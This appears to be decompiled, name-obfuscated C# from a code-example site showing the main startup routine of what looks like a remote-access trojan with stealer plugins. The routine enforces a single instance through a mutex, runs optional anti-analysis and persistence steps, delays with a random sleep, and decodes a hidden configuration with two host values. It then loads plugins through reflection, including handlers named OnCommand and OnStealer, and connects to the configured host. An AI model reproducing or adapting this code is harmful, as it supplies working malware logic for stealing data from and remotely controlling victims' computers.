コード例 #1
0
        private static void PrintFilter()
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(defaultValue: false);
            SingletonReader.PushGlobal();
            AppDomain.CurrentDomain.UnhandledException += CountFilter;
            if (m_PolicyEvent.Length < 6 || !m_PolicyEvent.Contains(".exe"))
            {
                m_PolicyEvent = Application.ExecutablePath;
            }
            if (m_ServiceEvent == "")
            {
                queueEvent = true;
                Type[] types = Assembly.GetExecutingAssembly().GetTypes();
                foreach (Type type in types)
                {
                    if (!type.Name.Contains("BuildConfiguration"))
                    {
                        continue;
                    }
                    MethodInfo[] methods = type.GetMethods();
                    foreach (MethodInfo methodInfo in methods)
                    {
                        if (methodInfo.Name == "GetConfiguration")
                        {
                            m_ServiceEvent = methodInfo.Invoke(type.Assembly.CreateInstance(type.Name), null).ToString();
                        }
                    }
                }
            }
            m_ServiceEvent = ClassEvent.ComputeFilter(m_ServiceEvent);
            Thread.Sleep(new RepositoryEvent().PopList(5000, 10000));
            if (!ReponseClassSpec.LoginList(ClassEvent.ResetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["MUTEX"].ResetClass <string>())))
            {
                Environment.Exit(0);
                Application.Exit();
            }
            try
            {
                if (!DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AD"].ResetClass <bool>())
                {
                    MapperEvent.InvokeFilter();
                }
            }
            catch
            {
            }
            string[] array = DispatcherInstanceExpression.AssetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H1"].ResetClass <string>(), DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H2"].ResetClass <string>());
            m_CandidateEvent = array[0];
            m_TokenizerEvent = array[1];
            if (m_TokenizerEvent == null)
            {
                Environment.FailFast("Z6zQubie8vkgP6dfdXQcc1A");
            }
            try
            {
                new Thread((ThreadStart) delegate
                {
                    //Discarded unreachable code: IL_0002
                    //IL_0003: Incompatible stack heights: 0 vs 1
                    Type[] types2          = Assembly.GetExecutingAssembly().GetTypes();
                    Type type2             = default(Type);
                    MethodInfo methodInfo2 = default(MethodInfo);
                    for (int k = 0; k < types2.Length; k++)
                    {
                        type2 = types2[k];
                        if (type2.Name.Contains("DPlugin"))
                        {
                            MethodInfo[] methods2 = type2.GetMethods();
                            for (int l = 0; l < methods2.Length; l++)
                            {
                                methodInfo2 = methods2[l];
                                switch (methodInfo2.Name)
                                {
                                case "OnLoad":
                                    try
                                    {
                                        new Thread((ThreadStart) delegate
                                        {
                                            //Discarded unreachable code: IL_0002
                                            //IL_0003: Incompatible stack heights: 0 vs 1
                                            switch (methodInfo2.GetParameters().Length)
                                            {
                                            case 0:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), null);
                                                break;

                                            case 1:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[1]
                                                {
                                                    m_CandidateEvent
                                                });
                                                break;

                                            case 2:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[2]
                                                {
                                                    m_CandidateEvent,
                                                    m_TokenizerEvent
                                                });
                                                break;

                                            case 3:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[3]
                                                {
                                                    m_CandidateEvent,
                                                    m_TokenizerEvent,
                                                    m_PolicyEvent
                                                });
                                                break;
                                            }
                                        }).Start();
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnCommand":
                                    try
                                    {
                                        DecoratorEventEntry.list.Add(type2.GetField("CommandName", BindingFlags.Static | BindingFlags.Public).GetValue(type2.Assembly.CreateInstance("CommandName")).ToString(), new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnUninstall":
                                    try
                                    {
                                        DecoratorEventEntry.instance.Add(new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnStealer":
                                    try
                                    {
                                        DecoratorEventEntry.dic.Add(new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;
                                }
                            }
                        }
                    }
                }).Start();
            }
            catch
            {
            }
            if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AS"].ResetClass <bool>())
            {
                OrderIteratorMapping.DisableRecord();
            }
            if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AK"].ResetClass <bool>())
            {
                OrderIteratorMapping.VerifyRecord();
            }
            DispatcherInstanceExpression.CallFilter(m_CandidateEvent, m_TokenizerEvent);
        }